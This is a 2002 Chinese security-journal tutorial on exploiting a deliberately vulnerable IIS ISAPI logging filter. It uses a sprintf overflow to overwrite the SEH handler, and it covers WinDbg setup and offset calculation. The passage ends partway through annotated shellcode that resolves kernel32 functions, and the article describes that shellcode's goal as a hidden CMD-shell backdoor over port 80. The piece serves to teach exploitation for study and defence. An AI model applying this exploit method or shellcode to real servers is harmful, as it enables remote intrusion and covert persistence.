首页 -> 安全研究

安全研究

绿盟月刊
绿盟安全月刊->第37期->技术专题
期刊号: 类型: 关键词:
第五章 Exploit Microsoft INTERNET INFORMATION SERVER

作者:莫大 <master_moda@yahoo.com>
日期:2002-12-02

引子:


我老早就想研究一下针对Microsoft Internet Information Server的各种Exploit,也着手收集了不少Exploit的黑客码,但是却静不下心来一步一步去Disassembly这些黑客码,一直到我的计算机们被CodeRed攻击的那天。大部分计算机都没有问题,但是有那么几个计算机刚被Codered占领,正在向随机IP地址发出一个又一个的HTTP请求;还有一个计算机大概到了Codered晚期,我居然在上面找到一个叫作root.exe的木马(Trojan)程序。反正折腾了好久好久,终於把Codered扫出了大门。痛定思痛,我终於决定气沉丹田,聚精会神一次去Disassembly这些病毒/病虫。

那一段时间主要研究了两个Exploit程序,第一个当然就是Codered,这个码虽然比较长,但是对照一下eeye(http://www.eeye.com)的说明还是可以搞清楚它的运作方式。现在大家也都知道了,IIS用到了一个动态联结库idq.dll,这个idq.dll是提供Index服务的ISAPI Extension;Codered就利用这个dll中的缓冲区溢出来运行它的黑客码,进而去传染更多的计算机。第二个Exploit----jill不太有名,因为它没有“生殖功能”,不能自我复制去传染其它的计算机,它利用了另外一个动态联结库msw3prt.dll的缓冲区溢出去运行它的黑客码;这个msw3prt.dll是实现网络打印协议(Internet Printing Protocol)的ISAPI Extension。另外在http://www.eeye.com网站上还有一个也是针对msw3prt.dll缓冲区溢出的比较简单的Exploit,我建议你们不妨也看看。

在分析完这两个Exploit后,我尝试着揉合了它们的一些Exploit技巧,再加上我自己的一些想法作了下面一个Exploit,希望大家看了以后能够对这种类型的黑客码有一个初步了解。


ISAPI 背景知识介绍:


先来一点Internet Service API的简介,如果你们已经熟悉这方面的内容,请跳到下面
一节。

大家知道,作为World Wide Web的重要一环,Web Server为HTTP请求提供服务,最初它
只是返回简单的固态HTML文件,以后随着网络逐渐深入到各个领域,随着越吹越大的
.COM泡泡,对Web Server的要求也越来越多:要它提供动态的网页(象Microsoft的
ASP),要它能支持网络打印协议(Internet Printing Protocol),要它提供加密解密功能等等等等,而且这些要求将来还会继续增加。怎样才能应付这些五花八门的要求呢?很显然的一步就是把服务这些要求的代码与Web Server中分离出去,把它们模块化。当Web Server收到这些五花八门的HTTP请求时,它并不处理,而是把这些HTTP请求转给对应于这个请求的模块处理。这样的好处在于每增加一个新的要求,就可以很方便地增加一个模块满足它,而Web Server不需要有改动。另外一个好处是可以让这些模块在不同于Web Server的进程中运行,既增加了安全性,也增加了Scalability。当然,这些模块需要按照规定好的界面来编写,对于Microsoft Web Server来说,这些界面就是Internet Service API(ISAPI)。

Microsoft的ISAPI有两种:ISAPI Extension和ISAPI Filter。顾名思义,ISAPI
Extension是Web Server的功能扩展,它能独立支持某一项HTTP请求,比如.printer支持
网络打印协议的请求;而ISAPI Filter需要依附于Web Server,它并不独立支持HTTP请
求,而是搞些来料加工的杂事,比如说对数据解密、加密呀,对HTTP请求进行记录
(log)呀什么的。

这两种ISAPI都编译成动态联结库(dll),其中ISAPI Extension的dll既可以载入Web Server进程中运行,也可以载入独立于Web Server外的进程中运行----这是可以理解的,毕竟ISAPI Extension功能相对复杂,需要用的CPU时间、内存都多,够得上级别享受一个独立的进程;ISAPI Extension还有第三种运行模式叫Pooled Application Protection Model,那是前两种模式相互妥协的产物,我就懒得去说它了。而ISAPI Filter相对来说还是简单,它的dll只能载入Web Server进程中,共享Web Server有限的资源。

如果你象我一样,用C++来编写ISAPI程序,而不用Microsoft Foundation Class,那么
你的ISAPI Extension必须实现(Implement)以及输出(Export)三个函数:
    GetExtensionVersion,
    HttpExtensionProc,
    TerminateExtension。
与此类似,ISAPI Filter也必须实现以及输出三个函数:
    GetFilterVersion,
    HttpFilterProc,
    TerminateFilter。

不论是你自己编写编译的ISAPI动态联结库,还是买来的ISAPI动态联结库,都需要在
Internet Service manager中把它们定义以后才能被Microsoft Web Server使用。我的
机器Dallas运行Windows 2000 Server,在dallas上定义ISAPI Extension的步骤是:
Start
    => Programs
        =>Administrative Tools
            =>Internet Service Manager
在Internet Service Manager启动后,右击(Right Click) Default Web Site
    => 选Properties
        =>Home Directory
            =>Application Setting
在Application Setting中点击Configuration,你可以看到一大堆的Application Mapping,包括被Codered Exploit的.ida/.idq的定义以及被jill所Exploit的.printer的定义;你就在这里增加、删减或修改你的ISAPI Extension定义。

定义ISAPI Filter的步骤与此类似,在Internet Service Manager启动后,右击(Right Click) Default Web Site
    => 选Properties
        =>ISAPI Filters
你就在这里增加、删减或修改你的ISAPI Filter定义。

以上是关于ISAPI的简介,其实ISAPI也就这么一点点东西,不相信的话你们可以去网上、
书上查查看。说到这里,我想起一个事来,有一段时间我在Windows机器上调试一个叫Siteminder的软件包,它是一个叫NETEGRITY的公司编写的,用于保护网站的安全。我印象中的它就是使用ISAPI Filter,它在Microsoft的Web Server处理任何HTTP请求之前,先把这个请求拦截下来,检查一下发出这个请求的Client能否被Authenticated、这个Client是否有足够的权限访问某个网页、被访问的网页是否存在等等。我当时对这个Siteminder的感觉是:不论是设置还是编写,都不会很困难。后来我在一个求职网站上却看到有的公司高薪聘请设置Siteminder的技术人员(合同工),付的钱还不少,好象是$10000美元/月左右----真是笑话!你们看看美国公司的钱还是很好挣的吧!


Vulerable ISAPI Filter


这一章我将制作一个简单的ISAPI Filter,它唯一的功能就是对HTTP请求进行记录(Logging),我在这个ISAPI Filter中设置了一个Buffer溢出的缺陷。好!闲话少说,清谈误国,下面就是这个ISAPI Filter----Logger.cpp:


<========================Logger.cpp===========================>

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <httpfilt.h>
#include <EXCPT.H>
#include <WTYPES.H>



BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
                     )
{
    return TRUE;
}


BOOL WINAPI  __stdcall
GetFilterVersion(HTTP_FILTER_VERSION * pVer)
{
    //set the flags and request the notications that we need for this to work

     pVer->dwFlags =     (SF_NOTIFY_SECURE_PORT |
                           SF_NOTIFY_NONSECURE_PORT |
                           SF_NOTIFY_ORDER_LOW |
                           //SF_NOTIFY_SEND_RESPONSE |
                           //SF_NOTIFY_END_OF_NET_SESSION |
                           SF_NOTIFY_LOG
                           );

    pVer->dwFilterVersion = HTTP_FILTER_REVISION;
    strcpy( pVer->lpszFilterDesc, "Server Type Changer");
    return TRUE;
}

DWORD WINAPI   __stdcall
HttpFilterProc(HTTP_FILTER_CONTEXT * pfc, DWORD notificationType,
                  VOID * pvNotification)
{

    PHTTP_FILTER_LOG pLogData;
    OutputDebugString("Entered HttpFilterProc\n");    

    switch (notificationType)
    {
         case SF_NOTIFY_LOG:
            {                
             OutputDebugString("HttpFilterProc:Logging\n");    
            
             TCHAR sz[256];

              pLogData = (PHTTP_FILTER_LOG)pvNotification;
              sprintf(sz, "Client Machine: %s , Username: %s, Server\
                Machine: %s, Target Path: %s\n", \
             pLogData->pszClientHostName,pLogData->pszClientUserName,\
                pLogData->pszServerName, pLogData->pszTarget  );
                
            }
         break;
         default:
             OutputDebugString("HttpFilterProc:Default\n");    
         break;

     }


     return SF_STATUS_REQ_NEXT_NOTIFICATION;
}
    
  
<=============================================================>


它输出两个函数: 第一个函数GetFilterVersion告诉IIS它对发生在SECURE_PORT(安全
端口)以及NONSECURE_PORT(非安全端口)的事件SF_NOTIFY_LOG感兴趣,这样IIS在作
HTTP记录(logging)前就必须通知我们这个Filter;这个Filter具有低优先级---- SF_NOTIFY_ORDER_LOW(),也就是说,如果IIS还有其他的较高优先级的Filter,IIS会优先通知较高优先级的Filter,让那些Filter先执行,然后才轮到我们的Filter。当我们的Filter最终接收到IIS的通知时,就由第二个输出函数HttpFilterProc负责处理。你们可以看到,在HttpFilterProc对事件SF_NOTIFY_LOG的处理中,用了不安全的函数sprintf,这个函数不检查输入参数的长度,只知道一个劲地往缓冲区sz充填格式化字符串,所以在输入参数pszClientHostName、pszClientUserName、pszServerName或者pszTarget中,任何一个足够长就会让缓冲区sz溢出。在下面的Exploit中,我们就要产生一个足够长的参数pszTarget,让缓冲区sz溢出。

把这个程序编译成动态联结库logger.dll,然后根据前面讲的方法在Internet Service
manager中把它定义成ISAPI Filter(见下图)。



在介绍Exploit之前,让我们放慢前进的步伐,因为我们还要再作一些知识准备:那就是如何安装及设置Microsoft的Debugger----Windbg,以及Windows操作系统处理Exception 的一种方法----Structured Exception Handling(SEH)。


Windbg的安装与设置:


听说Windbg以前的版本有很多毛病,但是我所用的Version 5的Windbg非常的Powerful,
既有很好的用户界面,又有足够多的功能,大概是我所用过的最好的Debugger。我们在
Windows环境下编程序用的Visual Studio Debugger只具有User Mode的权限,而Windbg则为User Mode和Kernel Mode两栖Debugger,有更高的权限,可以提供更多的Debugging信息。GNU的gdb的用户界面就比不上Windbg,有一次我甚至发现它的某些版本没法切换Thread,真是失望!只是这个gdb主要流行于Linux、Unix操作系统,而且是免费使用,所以Microsoft拿它没办法。Solaris操作系统上的adb(我在前面第二章用到了它)大概是石器时代的人编写的,用起来很不方便,而且功能不如Windbg、gdb。据说Solaris新的程序开发集成环境SunOne有很强的Debugging Tools,可惜我尚无缘尝试。

我是从MSDN CD Windows 2000 Customer Support--Diagnostic Tools中安装Windbg的,
你也可以从Windows 2000 DDK CD或者Microsoft Platform SDK CD中安装它。从同一张
CD中我还安装了其他Debugging Tools象i386kd(Kernel Debugger),cdb(Console
Debugger),UserDump(可以Dump进程内存)以及一大堆符号(Symbol)文件--这是作Debugging必不可少的,它们提供了Windows操作系统中各个动态联结库(dll)所用的函数Symbol,变量Symbol等。

安装好了Windbg,请把它启动,我们需要作一些基本的设置。

1。从View => Options打开Windows Debugger Option对话框:

在选项Source Files=> Search Order输入源程序路径,因为我们要跟踪Filter logger 被攻击时的运行情况,所以在这里输入它的路径:D:\MyJob\securitylab\ISAPI。

在选项Call Stack=> Display Options设置Call Stack的显示格式,在这里你可以根据需要随时改变Call Stack输出的内容。我先选择Frame Pointer, Return Address, Function Name, Module Name。

在选项Symbols =>Debug Symbol Search Path中输入符号文件路径,符号文件的缺省安装路径是%SystemRoot%\symbols,在机器dallas上为D:\WINNT\Symbols。注意对话框还有选项Transport Layer支持远程(Remote) Debug, 选项Kernel Debugger支持Kernel Debug,但是我们这一章不用它们。

2。从Debug=>Exceptions打开Exceptions对话框:

对Exception List中所有的Exception,Actions选项均选择Enabled。这样当任何一个Exception发生时,比如说发生Access Violation(内存访问出错),Windbg会得到First Chance(第一次机会)处理这个Exception。假如Actions选项选Ignore或者Notify的话,将由被Debugged的进程(就是inetinfo)得到First Chance处理这个Exception,我们根本就没有机会观察在Exception发生那一瞬间的寄存器状态,内存状态等等。另外注意,在同一Exceptions对话框中,我并没有指定任何First Chance Command,所以Windbg在得到First Chance处理Exception时,唯一能作的事就是停在出错的指令处,等着Windbg的操盘手----我们来决定如何处理这个Exception,这时我们就可以跳进去研究进程的各种状态信息。

Windbg有非常丰富的命令,有一些就象“回”字的第N种写法一样,你可能一辈子都不会用到。而且,象Microsoft的其它软件一样,它的许多命令也可以直接用鼠标从Graphical User Interface(GUI)调用。所以呢,我就不专门介绍它们了,我将在后面Exploit时根据需要介绍所用的命令。

下面再补充一点关于Symbol(符号)方面的东东,这对我们后面编写及Debug汇编程序很重要。上一章提到_stdcall类型的函数,它的函数名符号具有_symbol@N的模式,符号@后面的N为所有输入参数的总字节,在调用_stdcall函数前,这些输入参数需要由右向左压入堆栈。Windows系统中的执行程序或动态联结库还有另外两种类型的函数:第一种是_cdel函数,它的函数名符号具有_symbol模式,注意它的符号中并没有标出输入参数总字节数,在调用_cdel函数前它的输入参数需要由右向左压入堆栈。第二种类型的函数是_fastcall函数,它的函数名符号具有@symbol@N模式,符号@后面的N为所有输入参数的总字节数;但与_stdcall及_cdel函数不同的是,_fastcall的前两个输入参数(由右向左数过来)将通过寄存器传给_fastcall函数(第三个及以后的参数仍然通过堆栈传递),由于是通过寄存器传递输入参数,被调用的_fastcall函数不需要读取内存来取得输入参数,所以调用的速度比_stdcall和_cdel快。

你们还会经常看到有的函数名具有_imp_symbol,_imp_symbol@N, _imp_@symbol@N的模式,这些分别是需要从其他库文件中输入的_cdel,_stdcall,_fastcall函数。


关于Structured Exception Handling:


在上一章里面,我们通过覆盖被调用函数返回地址的方法把进程运行方向指向我们的黑客码,不过我看到很多在Windows下的Exploit都利用覆盖Exception Handler的方法来取得进程的控制权,象前面提到的jill就是这样:它向Microsoft IIS发出一个的长字符串,这个字符串在溢出ms3prt.dll中的缓冲区后仍然马不停蹄地向前冲,一直到Exception Handler被覆盖为止。所以我决定这一章也如法泡制,向Exception Handler开炮!!

我们知道在C++语言里,处理Exception的方法可以简写成:

try{
    可能出错的代码
}
catch(某种Exception class)
{
    处理某种Exception class的代码
}

但是我这里要说另外一种处理Exception的方法:Structured Exception Handling,或者简写为SEH。在后面反汇编ISAPI Filter程序logger时,大家可以看到它是按SEH的方法来设置Exception Handler的。下面是一个SEH的语法例子:

_try{
    __try {
           可能出错的代码
    }
    __except(filter_i)
    {
        处理Exception 的代码
    }
__except(filter_i1)
{
    处理Exception 的代码
}

在C++中被catch的Exception是class类型,但SEH中却不一样,它被_except的filter必须是整数类型。根据EXCPT.H中的定义,SEH中的filter可以有下面的值:
/*
* Legal values for expression in except().
*/

#define EXCEPTION_EXECUTE_HANDLER       1
#define EXCEPTION_CONTINUE_SEARCH       0
#define EXCEPTION_CONTINUE_EXECUTION    -1

其中EXCEPTION_EXECUTE_HANDLER表示当前_except要处理这个Exception,而且在处理完这个Exception后程序即终止(Terminated);EXCEPTION_CONTINUE_SEARCH表示当前的_except(比如说上面的__except(exception i) )不处理这个Exception,请往下继续找其他的_except(比如说__except(exception i1) )来处理这个Exception;最后一个EXCEPTION_CONTINUE_EXECUTION表示希望程序不要大惊小怪,请忽略这个Exception,继续执行下去。

SEH中还用到_finally和_leave,不过它们不是我们关心的焦点,先放在一边。有兴趣的朋友自己找书看看。

我们结合实例来分析一下SEH在汇编语言那一级是如何设置它的Exception Handler的,请看下面的程序:

<=========================exception.cpp==============================>

// exception.cpp : Defines the entry point for the console application.
//
#include <stdio.h>
#include <EXCPT.H>
#include <WTYPES.H>

DWORD FilterFunction()
{
    printf("In Filter \n");                     // printed first
    return EXCEPTION_EXECUTE_HANDLER;
    //return EXCEPTION_CONTINUE_SEARCH;
}

VOID main(VOID)
{
    __try
    {
            RaiseException(1,         // exception code
                0,                    // continuable exception
                0, NULL);             // no arguments

    }
    __except ( FilterFunction() )
    {
        printf("Do Nothing\n");                // this is printed last
    }
}

<====================================================================>

程序exception.cpp故意在_try{}中用函数RaiseException产生一个Exception,於是由__except后面圆括号里的FilterFunction()来决定是否处理这个Exception。由于FilterFunction()的返回值为EXCEPTION_EXECUTE_HANDLER,也就是说__except可以处理这个Exception,所以__except后面花括号中的代码将被执行(也就是执行printf函数),最后程序终止。

我们把这个exception.cpp在Microsoft Visual Studio编译好,这里我先要提醒大家一句:由于我们是用VC++的编译器编译这个程序,VC++在实现Structured Exception Handling时作了一些VC++特有的处理,所以你们看到的SEH已经不是原汁原味了;下面我只着重介绍原汁原味的那一部分,如果你们想知道SEH在VC++中的全貌,我推荐
Microsoft Systems Journal在1997年一月的一篇文章<<A Crash Course On the Depths of Win32 Structured Exception Handling>>。

编译好了程序exception以后在Visual Studio中按F10进入Debug模式,然后打开它的反汇编码窗口。下面是在我的机器Dallas上反汇编的结果,在你们的机器上反汇编出来的指令地址可能不太一样:


15:
16:   VOID main(VOID)
17:   {
00401070   push        ebp
00401071   mov         ebp,esp
00401073   push        0FFh
00401075   push        offset string "Do Nothing\n"+14h (00420040)
/*
以上是刚进入main函数时系统的一些设置。
*/
0040107A   push        offset __except_handler3 (004012e0)
0040107F   mov         eax,fs:[00000000]
00401085   push        eax
00401086   mov         dword ptr fs:[0],esp
/*
这里系统设置当前Thread的_EXCEPTION_REGISTRATION_RECORD结构:在fs:[0]中有函数的_EXCEPTION_REGISTRATION_RECORD结构的指针,先把它存入堆栈,然后往fs:[0]中存入指向当前Thread的_EXCEPTION_REGISTRATION_RECORD结构指针。

这个_EXCEPTION_REGISTRATION_RECORD结构对应着程序的_except部分。
*/
0040108D   add         esp,0B8h
00401090   push        ebx
00401091   push        esi
00401092   push        edi
00401093   mov         dword ptr [ebp-18h],esp
00401096   lea         edi,[ebp-58h]
00401099   mov         ecx,10h
0040109E   mov         eax,0CCCCCCCCh
004010A3   rep stos    dword ptr [edi]
18:       __try
004010A5   mov         dword ptr [ebp-4],0
19:       {
20:
21:               RaiseException(1,         // exception code
22:                   0,                    // continuable exception
23:                   0, NULL);             // no arguments
004010AC   mov         esi,esp
004010AE   push        0
004010B0   push        0
004010B2   push        0
004010B4   push        1
004010B6   call        dword ptr [__imp__RaiseException@16 (0042519c)]
/*
__imp__RaiseException@16表示RaiseException需要从其他的动态联结库输入,它是一个_stdcall函数,总共有16个字节的输入参数。
*/
004010BC   cmp         esi,esp
004010BE   call        __chkesp (004011b0)
24:
25:       }
004010C3   mov         dword ptr [ebp-4],0FFFFFFFFh
004010CA   jmp         $L53859+17h (004010e9)
26:       __except ( FilterFunction() )
004010CC   call        @ILT+5(FilterFunction) (0040100a)
$L53860:
004010D1   ret
$L53859:
004010D2   mov         esp,dword ptr [ebp-18h]
27:       {
28:           printf("Do Nothing\n");                // this is printed last
004010D5   push        offset string "Do Nothing\n" (0042002c)
004010DA   call        printf (00401130)
004010DF   add         esp,4
29:       }
004010E2   mov         dword ptr [ebp-4],0FFFFFFFFh
30:   }
004010E9   mov         ecx,dword ptr [ebp-10h]
004010EC   mov         dword ptr fs:[0],ecx
/*
程序将要结束运行,把前一个_EXCEPTION_REGISTRATION_RECORD结构指针恢复到fs:[0]中。
*/
004010F3   pop         edi
004010F4   pop         esi
004010F5   pop         ebx
004010F6   add         esp,58h
004010F9   cmp         ebp,esp
004010FB   call        __chkesp (004011b0)
00401100   mov         esp,ebp
00401102   pop         ebp
00401103   ret


在上面的汇编程序中多处用到了fs:[00000000],有的朋友也许知道那实际上是当前Thread的Thread Information Block(TIB)结构的起始地址。在头文件winnt.h和ntddk.h中,我们可以找到TIB结构的定义:

//
//  NT_TIB - Thread Information Block - Portable part.
//
//      This is the subsystem portable part of the Thread Information Block.
//      It appears as the first part of the TEB for all threads which have
//      a user mode component.
//
//

// begin_winnt

typedef struct _NT_TIB {
    struct _EXCEPTION_REGISTRATION_RECORD *ExceptionList;
    PVOID StackBase;
    PVOID StackLimit;
    PVOID SubSystemTib;
    union {
        PVOID FiberData;
        ULONG Version;
    };
    PVOID ArbitraryUserPointer;
    struct _NT_TIB *Self;
} NT_TIB;
typedef NT_TIB *PNT_TIB;
//

大家可以看到,TIB结构的第一个member就是_EXCEPTION_REGISTRATION_RECORD指针。在TIB结构中,还保存有当前Thread的其他信息,这里就忽略不计了。

在上面的汇编程序中,从地址0X0040107A到0X00401086的指令在堆栈中设置了一个_EXCEPTION_REGISTRATION_RECORD结构,并把这个结构的指针存入fs:[00000000]。_EXCEPTION_REGISTRATION_RECORD结构包括两个指针:第一个指针(从地址fs:[00000000]取得)指向前一个_EXCEPTION_REGISTRATION_RECORD结构,而前一个_EXCEPTION_REGISTRATION_RECORD结构的第一个指针又指向更前一个_EXCEPTION_REGISTRATION_RECORD结构,这样所有的_EXCEPTION_REGISTRATION_RECORD 就形成了一个链(link)。_EXCEPTION_REGISTRATION_RECORD的第二个指针指向一个叫做__except_handler3的函数,这个函数是VC++特有的Exception Handler;在程序运行发生Exception时,它会马上跳到__except_handler3执行,然后由__except_handler3作一些初步处理后才转去执行_except花括号里面的代码(在我们的例子中,花括号里面只有printf函数)。

讲到这里,我想大家也应该明白了:这个__except_handler3指针就是本章进攻的目标,我们将用指向黑客代码的指针去覆盖它。因为字符串在覆盖__except_handler3指针的同时还会覆盖掉很多重要的系统调用信息,所以程序在运行时肯定会产生Exception (最有可能的就是访问出错---- Access Violation),於是系统将迫使程序处理Exception,也就是企图运行函数__except_handler3,但是这个可怜的家伙没想到,这个函数__except_handler3的指针已经被修改成黑客码指针,所以处理Exception就变成执行黑客码。

在结束有关SEH的内容之前,让我们来作一个小试验:
如果我们让源程序exception.cpp中的FilterFunction返回EXCEPTION_CONTINUE_SEARCH 而不是EXCEPTION_EXECUTE_HANDLER,程序运行会有什么结果?先修改源程序exception.cpp、再编译好、运行、BANG!!!!!,我们得到一个Message Box:



为什么会是这样的结果呢?FilterFunction返回EXCEPTION_CONTINUE_SEARCH表示当前的_EXCEPTION_REGISTRATION_RECORD(它对应源程序中_except部分)不能处理这个Exception;於是系统沿着_EXCEPTION_REGISTRATION_RECORD的链结去找前一个_EXCEPTION_REGISTRATION_RECORD,看它能不能处理这个Exception;这样一直找下去的结果,或者是找到能处理这个Exception的_EXCEPTION_REGISTRATION_RECORD,或者是找到链结的最后,由系统的缺省Exception Handler处理,这象我们这个试验的情况。系统的缺省Exception Handler就是扔出一个Message Box,告诉你一些出错信息。


Exploit IIS 第一步----Vulerable ISAPI Filter的内存分配


如果前面的知识准备你都完成了的话,相信你已经武装到牙齿了,我们可以一步一步研究Exploit Vulnerable IIS的方法,或者更准确的说,研究Exploit Vulerable ISAPI Filter的方法。第一步,我们将研究Filter logger的内存分配情况。

启动我们刚安装好的Windbg,从Debug=>Attach to a Process=>打开Attach to a Process对话框,从对话框中选择进程inetinfo.exe让Windbg去Attach(你也可以使用命令“.attach pid”来实现Attach)。inetinfo.exe是一个很复杂的进程,所以这个Attach要多花几秒钟。在Attach后,从Debug=>Go让程序继续运行。

从File=>Open Source File打开源程序D:\MyJob\securitylab\ISAPI\Logger.cpp(也可以用命令“.open D:\MyJob\securitylab\ISAPI\Logger.cpp”打开源程序)。

我们需要让程序运行到logger时暂停下来,以方便观察内存的情况。从Edit=> Breakpoints=>打开Breakpoints对话框,在源程序的第54行设置断点,第54行就是:
......
pLogData = (PHTTP_FILTER_LOG)pvNotification;
......
(命令为bp0 {,logger.cpp,logger.dll}@54 /H0)。

现在inetinfo.exe就在Windbg的监控下运行,准备服务HTTP请求。接下来,我在同一台计算机dallas上启动MS Internet Explorer(当然你也可以从网络上其它计算机启动Explorer),键入URL“http://dallas/index.htm” 再按Enter。就在那一瞬间,你可以看到Windbg一闪一闪的,这是因为程序已经运行到第54行的断点。

回到Windbg中,程序正停留在第54行,等着用户输入下一个命令。下面是我在Windbg的命令(Command)窗口操作的过程,目的是为了了解logger的内存分配情况:

> DD sz
0x00EFF500  cccccccc cccccccc cccccccc cccccccc ................
0x00EFF510  cccccccc cccccccc cccccccc cccccccc ................
0x00EFF520  cccccccc cccccccc cccccccc cccccccc ................
0x00EFF530  cccccccc cccccccc cccccccc cccccccc ................
/*
DD sz表示Double Word显示缓冲区sz的内容。
缓冲区sz属于非初始化变量,所以系统用0XCCCCCCCC充填;注意它的起始地址是0x00EFF500。
*/
> DD fs:0
0x0038:0x0000  00efffdc 00f00000 00efd000 00000000 ................
0x0038:0x0010  00001e00 00000000 7ffd6000 00000000 .........`......
0x0038:0x0020  0000066c 00000528 00000000 00000000 l...(...........
0x0038:0x0030  7ffdf000 000003e5 00000000 00000000 ................
/*
DD fs:0表示Double Word显示Thread Information Block(TIB)的内容。TIB的第一个member就是_EXCEPTION_REGISTRATION_RECORD的指针0X00efffdc。

我们再看看这个_EXCEPTION_REGISTRATION_RECORD的内容:
*/
> DD efffdc
0x00EFFFDC  ffffffff 77ea13fd 77e9c008 00000000 .......w...w....
0x00EFFFEC  00000000 00000000 6d70175a abcdef01 ........Z.pm....
0x00EFFFFC  00000000 ???????? ???????? ???????? ....????????????
0x00F0000C  ???????? ???????? ???????? ???????? ????????????????
0x00F0001C  ???????? ???????? ???????? ???????? ????????????????
0x00F0002C  ???????? ???????? ???????? ???????? ????????????????
0x00F0003C  ???????? ???????? ???????? ???????? ????????????????
0x00F0004C  ???????? ???????? ???????? ???????? ????????????????
/*
我们说过_EXCEPTION_REGISTRATION_RECORD结构有两个指针:第一个指针应该指向前一个_EXCEPTION_REGISTRATION_RECORD,但是这里这个指针的值为0xffffffff,我不太清楚它的含义;第二个指针0X77ea13fd应该是Exception Handler,对于用VC++编译而成logger,Exception Handler应该就是__except_handler3函数。我们可以把从0X77ea13fd开始的内容反汇编如下:
*/
> u 77ea13fd
KERNEL32!__except_handler3+0x0:
77EA13FD  55               push        ebp                          
77EA13FE  8BEC             mov         ebp,esp                          
77EA1400  83EC08           sub         esp,8                          
77EA1403  53               push        ebx                          
77EA1404  56               push        esi                          
77EA1405  57               push        edi                          
77EA1406  55               push        ebp                          
77EA1407  FC               cld                                    
>
/*
u 77ea13fd表示反汇编从77ea13fd开始的指令,它果然就是__except_handler3。
*/


从上面的分析中我们可以看到,缓冲区sz的起始地址在0x00EFF500,而我们需要覆盖的Exception Handler指针在0xefffe0,所以我们用于造成溢出的字符串长度必须达到0xefffe0-0xEFF500=0xae0=2784字节。这个长度足够我们写很复杂的黑客码。


Exploit IIS 第二步----黑客行动


现在我们有了足够的内存空间,而我们是从来也不缺少时间的----因为我们是早上八九点钟的太阳,我们所需要的只是足够的想象力来实施我们的黑客行动:这一章我们的黑客码将依附着Microsoft IIS产生一个隐藏式的CMD shell,同时把IIS进程中的一个dll ---- msw3prt.dll修改成CMD shell与外界通话的渠道。这样我们就可以通过Internet Explore或者Netscape的URL向秘密渠道传递命令到CMD shell,而CMD shell执行完命令后把结果通过同一渠道返回给Internet Explore或者Netscape。注意我们的Exploit是在Port 80上进行的,所以防火墙(Firewall)也防不住这个Exploit。

下面的黑客码从地址0x00EFFCC9到0x00EFFE57之间是可执行指令,紧跟着的是函数指令表(从0x00EFFE58开始),这些函数的起始地址将先被解决(Resolve),然后我们的黑客码就可以从指令表中调用这些函数。使用函数指令表是Windows上Exploit常见的技巧。

下面请大家跟着我的注释来分析这些汇编指令:

00EFFCC9 E985010000       jmp         00EFFE53
00EFFCCE 5A               pop         edx
/*
经过上面的jmp指令以及地址0X00EFFE53的call指令后,call指令后面的函数指令表(Instruction Table)的起始地址被存入堆栈中,而pop edx就会把这个地址再从堆栈中弹入寄存器edx。这样我们就得到了指令表(Instruction Table)的起始地址。
*/
00EFFCCF B80000F177       mov         eax,offset __except_list+2F000h
/*
符号__except_list在这里没什么意义,忘记它----就象忘记你的前任女朋友那样。这里我们只是把0X77f10000存入寄存器eax。
*/
00EFFCD4 81384D5A9000     cmp         dword ptr [eax],905A4Dh
00EFFCDA 7403             je          00EFFCDF
00EFFCDC 48               dec         eax
00EFFCDD EBF5             jmp         00EFFCD4
/*
大家知道,Windows操作系统下的执行文件或动态联结库具有Portable Executable格式,这种格式的文件以905A4Dh开始,所以找到905A4Dh就意味着找到了文件的起始地址。你们不妨用HexEditor打开一个PE格式的dll或exe看看,除了这个905A4Dh之外,PE格式中还有很多有趣的Information。

上面的指令从0X77f10000开始向低地址方向寻找905A4Dh,最先找到的905A4Dh属于动态联结库kernel32,结果寄存器eax将指向动态联结库kernel32的起始地址。我所用的kernel32的起始地址为0x77e80000。我们可以在命令(Command)窗口核实一下:
*/
> dd 77e80000
0x77E80000  00905a4d 00000003 00000004 0000ffff MZ..............
0x77E80010  000000b8 00000000 00000040 00000000 ........@.......
0x77E80020  00000000 00000000 00000000 00000000 ................
0x77E80030  00000000 00000000 00000000 000000d0 ................
0x77E80040  0eba1f0e cd09b400 4c01b821 685421cd ........!..L.!Th
0x77E80050  70207369 72676f72 63206d61 6f6e6e61 is program canno
0x77E80060  65622074 6e757220 206e6920 20534f44 t be run in DOS
0x77E80070  65646f6d 0a0d0d2e 00000024 00000000 mode....$.......
/*
之所以要寻找kernel32的起始地址,是因为kernel32.dll输出函数getprocAddress,我们要想得到getprocAddress在内存中的地址,需要从kernel32的起始地址开始计算(计算过程在下面)。如果你问我为什么要得到getprocAddress的地址,我不告诉你!你跟着往下面看就会慢慢地知道原因。
*/
00EFFCDF 8BD8             mov         ebx,eax
00EFFCE1 8B733C           mov         esi,dword ptr [ebx+3Ch]
00EFFCE4 03F3             add         esi,ebx
00EFFCE6 8B7678           mov         esi,dword ptr [esi+78h]
00EFFCE9 03F3             add         esi,ebx
00EFFCEB 8B7E20           mov         edi,dword ptr [esi+20h]
00EFFCEE 03FB             add         edi,ebx
00EFFCF0 8B4E14           mov         ecx,dword ptr [esi+14h]
00EFFCF3 33ED             xor         ebp,ebp
00EFFCF5 56               push        esi
00EFFCF6 57               push        edi
00EFFCF7 51               push        ecx
00EFFCF8 8B3F             mov         edi,dword ptr [edi]
00EFFCFA 03FB             add         edi,ebx //把输出函数名表起始地址存人edi
00EFFCFC 8BF2             mov         esi,edx //指令表起始地址存入esi
00EFFCFE B90E000000       mov         ecx,0Eh //函数getprocAddress长度为0Eh
00EFFD03 F3A6             repe cmps   byte ptr [esi],byte ptr [edi]
00EFFD05 7408             je          00EFFD0F
00EFFD07 59               pop         ecx
00EFFD08 5F               pop         edi
00EFFD09 83C704           add         edi,4
00EFFD0C 45               inc         ebp
00EFFD0D E2E7             loop        00EFFCF6
00EFFD0F 59               pop         ecx
00EFFD10 5F               pop         edi
00EFFD11 5E               pop         esi
00EFFD12 8BCD             mov         ecx,ebp
00EFFD14 8B4624           mov         eax,dword ptr [esi+24h]
00EFFD17 03C3             add         eax,ebx
00EFFD19 D1E1             shl         ecx,1
00EFFD1B 03C1             add         eax,ecx
00EFFD1D 33C9             xor         ecx,ecx
00EFFD1F 668B08           mov         cx,word ptr [eax]
00EFFD22 8B461C           mov         eax,dword ptr [esi+1Ch]
00EFFD25 03C3             add         eax,ebx
00EFFD27 C1E102           shl         ecx,2
00EFFD2A 03C1             add         eax,ecx
00EFFD2C 8B00             mov         eax,dword ptr [eax]
00EFFD2E 03C3             add         eax,ebx
/*
